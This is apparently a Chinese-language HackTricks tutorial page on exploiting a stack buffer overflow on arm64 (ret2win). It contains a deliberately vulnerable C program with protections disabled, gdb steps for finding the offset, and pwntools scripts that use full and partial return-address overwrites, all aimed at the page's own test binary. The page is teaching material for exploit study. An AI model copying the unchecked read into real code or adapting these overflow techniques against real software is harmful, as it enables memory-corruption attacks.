Ret2win - arm64

Ret2win - arm64

支持 HackTricks

在以下内容中找到 arm64 的介绍:

Introduction to ARM64v8

代码

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

编译时不使用 pie 和 canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

寻找偏移量

模式选项

此示例是使用 GEF 创建的:

使用 gef 启动 gdb,创建模式并使用它:

gdb -q ./ret2win
pattern create 200
run

arm64 将尝试返回到寄存器 x30 中的地址(该地址已被破坏),我们可以利用这一点来找到模式偏移:

pattern search $x30

偏移量是72(9x48)。

栈偏移选项

首先获取存储pc寄存器的栈地址:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

现在在 read() 之后设置一个断点,并继续直到 read() 被执行,并设置一个模式,例如 13371337:

b *vulnerable_function+28
c

找到这个模式在内存中的存储位置:

然后: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

无PIE

常规

获取 win 函数的地址:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

利用:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

实际上,这更像是在栈中存储的 PC 的 off-by-2。我们将只用 0x06c4 覆盖 最后 2 个字节,而不是覆盖所有的返回地址。

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

您可以在 ARM64 中找到另一个 off-by-one 示例,链接为 https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/,这是一个虚构漏洞中的真实 off-by-one

使用 PIE

编译二进制文件 不带 -no-pie 参数

Off-by-2

没有泄漏,我们不知道获胜函数的确切地址,但我们可以知道该函数相对于二进制文件的偏移量,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以在这种情况下泄漏到 win 函数的偏移量 (0x7d4) 并仅使用该偏移量:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()


<div data-gb-custom-block data-tag="hint" data-style='success'>

学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>支持 HackTricks</summary>

* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。

</details>

</div>

Last updated